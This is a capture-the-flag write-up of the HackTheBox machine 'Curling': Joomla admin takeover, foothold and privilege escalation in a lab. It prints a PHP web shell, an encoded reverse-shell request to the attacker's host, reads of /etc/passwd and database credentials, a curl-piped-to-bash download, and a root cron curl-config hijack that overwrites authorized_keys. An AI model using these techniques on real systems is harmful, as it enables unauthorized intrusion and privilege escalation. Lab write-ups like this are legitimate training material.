Summary:

Curling is one of the older boxes on HTB, initially released in 2018. The box is very CTF-like, but requires nothing more than clever enumeration to complete. It starts with finding an exposed password that can be used to log in to Joomla as admin, then uploading a web shell using the admin’s privileges. Once on the box, I’ll recover a password for another user by reverting a hex dump and unzipping multiple layers of compression. For root, there’s a cron job running curl that can be hijacked.


Enumeration:

Nmap:

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ sudo nmap --min-rate 1000 -p- 10.129.12.187

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-06 22:13 ACDT
Nmap scan report for 10.129.12.187
Host is up (0.33s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 70.86 seconds


┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ sudo nmap -A -p 22,80 10.129.12.187

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-06 22:30 ACDT
Nmap scan report for 10.129.12.187
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   330.36 ms 10.10.14.1
2   330.56 ms 10.129.12.187

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.44 seconds


Nmap found SSH and HTTP ports open. The script scan also identified a Joomla instance running.

TCP80 - HTTP:

The page is a standard Joomla CMS site.

There’s 3 posts, all of them posted by Super User, and one of the post is signed off by “Floris”. I’ll note these down as they are potential login usernames.

Also, the page title contains “Cewl”, does that mean it involves login brute-forcing with a cewl-generated wordlist? (Spoiler alert: it’s a rabbit hole)

Login Brute-Force - Fail:

cewl is a tool that generates custom wordlist by crawling the target website and extracting words from its content. This is more commonly used for CTF challenges than in real-life applications.

I’ll use the tool to generate a wordlist, and save it as pass.txt.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ cewl http://10.129.12.187 > pass.txt


I’ll first capture a login POST request in Burp, then send it to Intruder for the brute-force, using my custom-generated payload.

Since the Community Edition version of Intruder is rate-limited at 1 request per second, the brute force took quite a while to complete, despite only having around 200 words in the payload.

I tried logging in to both the main page and the administrator panel with different usernames (SuperUser, floris, admin, etc), but none of them worked. This is probably not the way to go.

Directory Busting:

Seemingly running into a dead end, I’ll run a directory scan to check if there’s any hidden pages. Since it’s Joomla, I know the extension is .php. It’s also worth checking for .txt extension, as it’s common on older HTB boxes for hints.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ gobuster dir -u http://10.129.12.187 -w directory-list-2.3-medium.txt -t 100 -x php,txt

..SNIP..
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://10.129.12.187/images/]
/index.php            (Status: 200) [Size: 14265]
/media                (Status: 301) [Size: 314] [--> http://10.129.12.187/media/]
/templates            (Status: 301) [Size: 318] [--> http://10.129.12.187/templates/]
/modules              (Status: 301) [Size: 316] [--> http://10.129.12.187/modules/]
/.php                 (Status: 403) [Size: 278]
/bin                  (Status: 301) [Size: 312] [--> http://10.129.12.187/bin/]
/plugins              (Status: 301) [Size: 316] [--> http://10.129.12.187/plugins/]
/includes             (Status: 301) [Size: 317] [--> http://10.129.12.187/includes/]
/language             (Status: 301) [Size: 317] [--> http://10.129.12.187/language/]
/README.txt           (Status: 200) [Size: 4872]
/components           (Status: 301) [Size: 319] [--> http://10.129.12.187/components/]
/cache                (Status: 301) [Size: 314] [--> http://10.129.12.187/cache/]
/libraries            (Status: 301) [Size: 318] [--> http://10.129.12.187/libraries/]
/tmp                  (Status: 301) [Size: 312] [--> http://10.129.12.187/tmp/]
/LICENSE.txt          (Status: 200) [Size: 18092]
/layouts              (Status: 301) [Size: 316] [--> http://10.129.12.187/layouts/]
/secret.txt           (Status: 200) [Size: 17]
/administrator        (Status: 301) [Size: 322] [--> http://10.129.12.187/administrator/]
/configuration.php    (Status: 200) [Size: 0]
/htaccess.txt         (Status: 200) [Size: 3005]
/cli                  (Status: 301) [Size: 312] [--> http://10.129.12.187/cli/]


The scan found /secret.txt, which contains what looks like a base64-encoded string:

Decoding it gets us Curling2018!, which looks like a password to me.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ echo Q3VybGluZzIwMTgh | base64 -d
Curling2018!

Admin Login:

GoBuster also identified /administrator, which is the administrative login page. I’ll attempt a password spray here, and log in as floris.


Foothold:

Joomla Template Hijack:

Similar to WordPress, Joomla also have admin-customizable page templates, which can be maliciously tampered for RCE.

I’ll target the Beez3 template, since it’s not currently in use.

And replace all contents of error.php with the following web shell.

<?php system($_GET['cmd']); ?>

After saving, the web shell can be directly accessed via the browser at /templates/beez3/error.php?cmd=id.

Sending the following request would return a shell back to my listener.

http://10.129.12.187/templates/beez3/error.php?cmd=echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYxLzgwMDEgMD4mMQ==%20|%20base64%20-d%20|%20bash

I’m now on the box as www-data.

Curling
www-data@curling:/$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Escalation from www-data:

Checking /etc/passwd, I find one console user: floris.

Curling
www-data@curling:/$ cat /etc/passwd | grep -v nologin | grep -v false

root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
floris:x:1000:1004:floris:/home/floris:/bin/bash

Source Code:

Database credentials are also found in Joomla’s configuration PHP file.

<?php
class JConfig {
	public $offline = '0';
	public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
	public $display_offline_message = '1';
	public $offline_image = '';
	public $sitename = 'Cewl Curling site!';
	public $editor = 'tinymce';
	public $captcha = '0';
	public $list_limit = '20';
	public $access = '1';
	public $debug = '0';
	public $debug_lang = '0';
	public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'floris';
	public $password = 'mYsQ!P4ssw0rd$yea!';
	public $db = 'Joombla';
	public $dbprefix = 'eslfu_';
	public $live_site = '';
	public $secret = 'VGQ09exHr8W2leID';
	public $gzip = '0';
	public $error_reporting = 'default';
	public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
	public $ftp_host = '127.0.0.1';
	public $ftp_port = '21';
	public $ftp_user = '';
	public $ftp_pass = '';
  <..SNIP..>
}

I can enumerate the MySQL database with these creds, but there’s nothing inside.

/home/floris/:

Curling
www-data@curling:/home/floris$ ls -la

total 44
drwxr-xr-x 6 floris floris 4096 Aug  2  2022 .
drwxr-xr-x 3 root   root   4096 Aug  2  2022 ..
lrwxrwxrwx 1 root   root      9 May 22  2018 .bash_history -> /dev/null
-rw-r--r-- 1 floris floris  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 floris floris 3771 Apr  4  2018 .bashrc
drwx------ 2 floris floris 4096 Aug  2  2022 .cache
drwx------ 3 floris floris 4096 Aug  2  2022 .gnupg
drwxrwxr-x 3 floris floris 4096 Aug  2  2022 .local
-rw-r--r-- 1 floris floris  807 Apr  4  2018 .profile
drwxr-x--- 2 root   floris 4096 Aug  2  2022 admin-area
-rw-r--r-- 1 floris floris 1076 May 22  2018 password_backup
-rw-r----- 1 floris floris   33 Feb  6 11:42 user.txt

The user flag can be found in floris’s home directory, as well as a folder called admin-area. Neither of which can be accessed by the current user.

There is, however, a readable file called password_backup that contains what looks like a hexdump output from xxd.

00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48

Password Backup Recovery:

I’ll use the -r option to revert the hexdump back to its original binary format. Running file on it reveals that the binary is bzip2 compressed data.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ cat password_backup | xxd -r > password.bin


┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ file password.bin
password.bin: bzip2 compressed data, block size = 900k

Decompressing it generates password.bin.out, which is another compressed file, this time in gzip format.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ bzip2 -d password.bin
bzip2: Can't guess original name for password.bin -- using password.bin.out

┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ file password.bin.out
password.bin.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

I’ll rename the file so that it has a .gz suffix, then decompress again. This results in another bzip2 file.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ mv password.bin.out password.bin.gz


┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ gzip -d password.bin.gz


┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ ls -la

total 16
drwxr-xr-x 2 ch3ng ch3ng 4096 Feb  7 00:25 .
drwxr-xr-x 6 ch3ng ch3ng 4096 Feb  6 22:11 ..
-rw-r--r-- 1 ch3ng ch3ng 1040 Feb  7 00:01 password_backup
-rw-r--r-- 1 ch3ng ch3ng 141 Feb  7 00:21 password.bin


┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ file password.bin
password.bin: bzip2 compressed data, block size = 900k

Decompressing again, this time I get a tar archive.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ bzip2 -d password.bin
bzip2: Can't guess original name for password.bin -- using password.bin.out

┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ file password.bin.out
password.bin.out: POSIX tar archive (GNU)

Finally, decompressing this results in a human-readable text file, which contains the password.

Kali
┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ tar -xvf password.bin.out
password.txt

┌──(ch3ng㉿localhost)-[~/machines/curling]
└─$ cat password.txt
5d<wdCbdZu)|hChXll

If you prefer not to deal with the hassle of manually decompressing files in the terminal, CyberChef is a really good tool to use here. It provides an easy way to handle these chains of decompression/decoding operations.

With the password, I can now SSH in as floris.

Curling
floris@curling:~$ id

uid=1000(floris) gid=1004(floris) groups=1004(floris)

User Flag:

Curling
floris@curling:~$ cat user.txt

0d912036************************


Escalation from floris:

admin-area:

As floris, I can now access /admin-area, which only contains two files, both writable and owned by root.

Curling
floris@curling:~/admin-area$ ls -la

total 28
drwxr-x--- 2 root   floris  4096 Aug  2  2022 .
drwxr-xr-x 6 floris floris  4096 Feb  6 14:10 ..
-rw-rw---- 1 root   floris    25 Feb  6 14:23 input
-rw-rw---- 1 root   floris 14236 Feb  6 14:23 report

input contains a localhost URL, while report seems to be the HTML source of the web app. If you run stat on them, you’ll discover that both files are being constantly updated. This implies that there may be a cron job regularly writing into them.

/home/floris/admin-area/input:

url = "http://127.0.0.1"

Process Spying:

I’ll run pspy to detect any hidden cron jobs, and found this:

Curling
floris@curling:~$ curl http://10.10.14.61:8000/pspy64 | bash

..SNIP..
2024/02/06 14:18:01 CMD: UID=0     PID=4696   | /usr/sbin/CRON -f 
2024/02/06 14:18:01 CMD: UID=0     PID=4701   | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
2024/02/06 14:19:01 CMD: UID=0     PID=4707   | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 
2024/02/06 14:19:01 CMD: UID=0     PID=4706   | /usr/sbin/CRON -f
..SNIP..

According to curl’s man page, the -K option is to allow users to pass arguments via a config file instead of from the terminal.

Curling
floris@curling:~$ curl --help all

Usage: curl [options...] <url>
     --abstract-unix-socket <path> Connect via abstract Unix domain socket
     --alt-svc <file name> Enable alt-svc with this cache file
     --anyauth     Pick any authentication method
 -a, --append      Append to target file when uploading
     --aws-sigv4 <provider1[:provider2[:region[:service]]]> Use AWS V4 signature authentication
     --basic       Use HTTP Basic Authentication
     --ca-native   Use CA certificates from the native OS
     --cacert <file> CA certificate to verify peer against
     --capath <dir> CA directory to verify peer against
 -E, --cert <certificate[:password]> Client certificate file and password
     --cert-status Verify the status of the server cert via OCSP-staple
     --cert-type <type> Certificate type (DER/PEM/ENG/P12)
     --ciphers <list of ciphers> SSL ciphers to use
     --compressed  Request compressed response
     --compressed-ssh Enable SSH compression
 -K, --config <file> Read config from a file
     --connect-timeout <fractional seconds> Maximum time allowed for connection
     --connect-to <HOST1:PORT1:HOST2:PORT2> Connect to host
 -C, --continue-at <offset> Resumed transfer offset

..SNIP..

In this cron’s case, it is running curl with input as the config file, and saving the output into report. Since we have write access to the config file, we can change the behavior of the command.

Curl Config Hijack:

Although less common, curl can actually be used for other protocols than HTTP, including file://. I can simply update the config file to directly read the root flag, and its content would be copied into report when the cron runs.

url = "file:///root/root.txt"

But this would not return us a shell.

I tried using the same trick to read root’s private key, but nothing happened, probably because it doesn’t exist.

Alternatively, I can attempt the OG way of dropping a public key into root’s authorized_keys file. I first used ssh-keygen to generate a key pair, and replaced floris with root in the public key:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/0UISwVRMo+xFoDaITYOSSfs95nRO5YyZ0wV1XPxHyEcQ0XdDqL7jvvw1ARLF0cXCHDKLfntMFuucPRtVo5i8aNEKzAjn9jO3XS/TWPIRPQwUi3Y7QtdYvHIK8lN2Y9saMGu1EPflYbkGwc9R/yMQM9z9ChO/2SZPBYkoAqnzbPYVEJOAsWriaJbbKuiceAAwvOYUBYt1wq87FegYoO2EezTLh+Vqa69BkHZHRr6NOaVaoXybVBKsiq11bT3x9ZuBwcFeXkgwdIx3clqxky/vp/JCofCyP16PcmJOhW88+tN93kITkBoPszFGMIArXOonGqryFq1IyUcQHn+ujauZ root@curling

Then I updated input such that it reads my generated public key and save it as root’s authorized_keys.

url = "file:///home/floris/.ssh/id_rsa.pub"
output = "/root/.ssh/authorized_keys"

After multiple attempts, I can SSH in as root using the private key.

Curling
root@curling:~# id

uid=0(root) gid=0(root) groups=0(root)

Root Flag:

Curling
root@curling:~# cat root.txt

a9abbedd************************